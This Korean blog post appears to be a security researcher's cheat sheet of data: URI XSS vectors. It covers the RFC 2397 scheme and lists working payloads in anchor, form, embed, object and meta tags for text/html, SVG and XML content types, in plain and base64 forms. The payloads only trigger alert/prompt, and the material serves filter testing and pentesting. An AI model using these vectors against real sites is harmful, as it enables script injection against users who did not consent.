Data URI(data:) XSS v2

제가 오래전에 Data URI XSS를 다루는 “Form action + data:를 이용한 XSS Filtering 우회 기법“란 글을 쓴 적이 있었는데요, 오늘은 조금 더 개선된 버전으로 글을 작성해볼까 합니다.

Data URI XSS v2 입니다. Portswigger XSS cheatsheet 및 대다수 cheatsheet에선 data:에 대해 잘 다루지 않습니다. embed tag에 대한 XSS도 javascript:alert()만 존재합니다. 과연 이것만 존재할까요? 아니죠 🤩

<embed src="javascript:alert(1)">

Data URI

우회 패턴을 더 만들기 위해선 이 Data URI에 대해서 좀 더 알아봐야겠죠? data URL scheme은 RFC 2397에 명시되어 있습니다.

data:[<mediatype>][;base64],<data>

참고로 이 data 구간의 사이즈에 제한이 있긴합니다. 인코딩 없이 사용하면 65535, 인코딩이 있다면 65529 만큼 사용할 수 있습니다. 이걸로 인해 공격코드에 문제가 되는 경우는 적겠지만 알아두시면 좋을 것 같습니다.

Data URI in HTML Elements

Anchor tag

<a href="data:text/html;,<br>">x</a>

Form tag

<form action="data:text/html;charset=utf-8,%3cbr%3e">
<input type=submit>
</form>

Embed tag

<embed src="data:text/html;,<br>">

Object tag

<object data="data:text/html;,<br>">

Meta tag

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

Etc.

URL 처리를 하는 대부분의 영역에서 사용이 가능하기 떄문에 더 있을겁니다.

XSS Payload by content-type

Data URI에는 여러가지 Content-Type을 명시할 수 있습니다. 이 중 일부는 XSS에 사용할 수 있기 떄문에 알아두시면 embed, object 등의 태그 사용이 가능할 때 이를 이용하여 XSS 코드를 구성할 수 있습니다.

data: + text/html

<embed type="text/html" src="data:text/html;,<svg/onload=alert(45)>">
<embed type="text/html" src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoNDUpPg==">

<object data="data:text/html;,<svg/onload=alert(45)>">
<object data="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoNDUpPg==">

data: + image/svg+xml

<embed type="image/svg+xml" src='data:image/svg+xml;,<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="10" height="10" id="xss"><script type="text/ecmascript">alert(45);</script></svg>'>
<embed type="image/svg+xml" src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=">

<object data='data:image/svg+xml;,<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="10" height="10" id="xss"><script type="text/ecmascript">alert(45);</script></svg>'>
<object data="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=">

data: application/xml

<embed type="application/xml" src="data:application/xml;,<hahwul:script xmlns:hahwul='http://www.w3.org/1999/xhtml'>prompt(45)</hahwul:script>">
<embed type="application/xml" src="data:application/xml;base64,PGhhaHd1bDpzY3JpcHQgeG1sbnM6aGFod3VsPSdodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1s
Jz5wcm9tcHQoNDUpPC9oYWh3dWw6c2NyaXB0Pg==">

<object data="data:application/xml;,<hahwul:script xmlns:hahwul='http://www.w3.org/1999/xhtml'>prompt(45)</hahwul:script>"></object>
<object data="data:application/xml;base64,PGhhaHd1bDpzY3JpcHQgeG1sbnM6aGFod3VsPSdodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1s
Jz5wcm9tcHQoNDUpPC9oYWh3dWw6c2NyaXB0Pg=="></object>

References